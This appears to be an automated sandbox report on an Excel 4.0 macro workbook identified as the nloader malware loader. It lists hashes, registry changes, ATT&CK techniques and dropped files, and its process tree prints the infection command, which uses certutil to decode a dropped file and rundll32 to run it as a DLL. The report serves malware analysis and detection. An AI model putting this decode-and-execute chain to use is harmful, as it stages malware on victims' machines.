nloader | 522245f192f8a25267d3c07be6cefa5f9ae583f62ac781577c8653f5cf00f7f6

General

Target

subscription_1618344415.xlsb
Size

181KB
MD5

307a6d965c1435b17e3fe2ab03f92d16
SHA1

47965c868c70245f783fcace03271eb287761c51
SHA256

522245f192f8a25267d3c07be6cefa5f9ae583f62ac781577c8653f5cf00f7f6
SHA512

596ea5cd389a298953b9dde78f3d95e0ffcc0e61d5b047f9dc6100adb405d36356e570019b376f0eacd95f397231fe54996a7ca269e9930ff7e395b5cab755ff

Score

10^/10

nloader loader

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Nloader
Simple loader that includes the keyword 'campo' in the URL used to download other families.
loader nloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	432	1040	cmd.exe	EXCEL.EXE

Nloader Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/960-71-0x0000000000190000-0x0000000000195000-memory.dmp	nloader

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

5 960 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

960 rundll32.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
5	960	rundll32.exe

pid	process
960	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1040 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1040 EXCEL.EXE
1040 EXCEL.EXE
1040 EXCEL.EXE

pid	process
1040	EXCEL.EXE

pid	process
1040	EXCEL.EXE
1040	EXCEL.EXE
1040	EXCEL.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1040 wrote to memory of 432	1040	EXCEL.EXE	cmd.exe
PID 1040 wrote to memory of 432	1040	EXCEL.EXE	cmd.exe
PID 1040 wrote to memory of 432	1040	EXCEL.EXE	cmd.exe
PID 1040 wrote to memory of 432	1040	EXCEL.EXE	cmd.exe
PID 432 wrote to memory of 332	432	cmd.exe	certutil.exe
PID 432 wrote to memory of 332	432	cmd.exe	certutil.exe
PID 432 wrote to memory of 332	432	cmd.exe	certutil.exe
PID 432 wrote to memory of 332	432	cmd.exe	certutil.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe
PID 432 wrote to memory of 960	432	cmd.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\subscription_1618344415.xlsb
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1040

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c certutil -decode %PUBLIC%\31927.dpi %PUBLIC%\31927.pdo && rundll32 %PUBLIC%\31927.pdo,DF1
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:432

C:\Windows\SysWOW64\certutil.exe
certutil -decode C:\Users\Public\31927.dpi C:\Users\Public\31927.pdo
3⤵
PID:332

C:\Windows\SysWOW64\rundll32.exe
rundll32 C:\Users\Public\31927.pdo,DF1
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:960

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\31927.dpi

MD5
466fa8ac78b38bf6ae25c01b5fc532a2

SHA1
c3b2ba41743af5c3e2b57388e69a915f2f548394

SHA256
762dee7768d6787a8bd692746cc2c9a773bac0075b4cc960b116816c7b9b5b33

SHA512
ee62337f2cdedc4e32b6928879f94884672cf8e0d267e094694be04861aff90b53d7ade0134ba308008f477c820469888c682305ad75d408a941219f8e856674

Download Submit
C:\Users\Public\31927.pdo

MD5
865a9d729e1c77c45295314c48f75756

SHA1
3b12aa209e04df1d6a0f23e5ce64b4ceb1fe56d7

SHA256
78732a575117a9f053a8a7dbeb0e4293265be4c901fa3cc124d31d6fc369939e

SHA512
a2bbf49e8afccef53ce3eb0e3701b2771abd5002ec762ecf6d60bf8e0c98749bd21cefe2307602be0f3b7f8ddfb3d5c691b0c1fc9e02c9337489f4e85e4ae683

Download Submit
\Users\Public\31927.pdo

MD5
865a9d729e1c77c45295314c48f75756

SHA1
3b12aa209e04df1d6a0f23e5ce64b4ceb1fe56d7

SHA256
78732a575117a9f053a8a7dbeb0e4293265be4c901fa3cc124d31d6fc369939e

SHA512
a2bbf49e8afccef53ce3eb0e3701b2771abd5002ec762ecf6d60bf8e0c98749bd21cefe2307602be0f3b7f8ddfb3d5c691b0c1fc9e02c9337489f4e85e4ae683

Download Submit
memory/332-64-0x0000000000000000-mapping.dmp

Download
memory/332-65-0x0000000074F31000-0x0000000074F33000-memory.dmp

Filesize
8KB

Download
memory/432-63-0x0000000000000000-mapping.dmp

Download
memory/960-67-0x0000000000000000-mapping.dmp

Download
memory/960-71-0x0000000000190000-0x0000000000195000-memory.dmp

Filesize
20KB

Download
memory/1040-60-0x000000002FBB1000-0x000000002FBB4000-memory.dmp

Filesize
12KB

Download
memory/1040-61-0x0000000071191000-0x0000000071193000-memory.dmp

Filesize
8KB

Download
memory/1040-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads